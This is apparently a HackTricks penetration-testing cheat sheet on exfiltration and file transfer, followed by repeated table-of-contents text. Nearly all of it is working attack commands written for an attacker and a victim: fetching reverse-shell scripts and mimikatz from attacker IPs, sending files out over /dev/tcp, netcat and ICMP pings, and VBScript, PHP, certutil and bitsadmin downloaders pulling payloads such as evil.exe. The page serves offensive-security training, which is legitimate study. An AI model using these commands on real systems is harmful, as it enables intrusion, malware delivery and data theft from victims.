Exfiltration

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Commonly whitelisted domains to exfiltrate information

Check https://lots-project.com/ to find commonly whitelisted domains that can be abused

Copy&Paste Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Upload files

SimpleHttpServerWithFileUploads
SimpleHttpServer printing GET and POSTs (also headers)
Python module uploadserver:

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth: 
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt' 
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

HTTPS Server

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)    
@app.route('/')    
def root():    
    print(request.get_json())
    return "OK"
if __name__ == "__main__":    
    app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

FTP server (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

FTP server (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

FTP server (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows client

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali as server

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Or create a smb share using samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
    comment = Samba on Ubuntu
    path = /tmp/smb
    read only = no
    browsable = yes
    guest ok = Yes
#Start samba
service smbd restart

Windows

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

The attacker has to have SSHd running.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

If the victim has SSH, the attacker can mount a directory from the victim to the attacker.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Download file from victim

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Upload file to victim

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

thanks to @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 0:
            data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
            print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

If you can send data to an SMTP server, you can create an SMTP to receive the data with python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

By default in XP and 2003 (in others it needs to be explicitly added during installation)

In Kali, start TFTP server:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

TFTP server in python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

In victim, connect to the Kali server:

tftp -i <KALI-IP> get nc.exe

PHP

Download a file with a PHP oneliner:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Attacker> python -m SimpleHTTPServer 80

Victim

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

The debug.exe program not only allows inspection of binaries but also has the capability to rebuild them from hex. This means that by providing an hex of a binary, debug.exe can generate the binary file. However, it's important to note that debug.exe has a limitation of assembling files up to 64 kb in size.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Then copy-paste the text into the windows-shell and a file called nc.exe will be created.

https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html

DNS

https://github.com/62726164/dns-exfil

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

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exfiltration.md

exfiltration.md

Exfiltration

Commonly whitelisted domains to exfiltrate information

Copy&Paste Base64

HTTP

Upload files

HTTPS Server

FTP

FTP server (python)

FTP server (NodeJS)

FTP server (pure-ftp)

Windows client

SMB

SCP

SSHFS

NC

/dev/tcp

Download file from victim

Upload file to victim

ICMP

SMTP

TFTP

PHP

VBScript

Debug.exe

DNS

Files

exfiltration.md

Latest commit

History

exfiltration.md

File metadata and controls

Exfiltration

Commonly whitelisted domains to exfiltrate information

Copy&Paste Base64

HTTP

Upload files

HTTPS Server

FTP

FTP server (python)

FTP server (NodeJS)

FTP server (pure-ftp)

Windows client

SMB

SCP

SSHFS

NC

/dev/tcp

Download file from victim

Upload file to victim

ICMP

SMTP

TFTP

PHP

VBScript

Debug.exe

DNS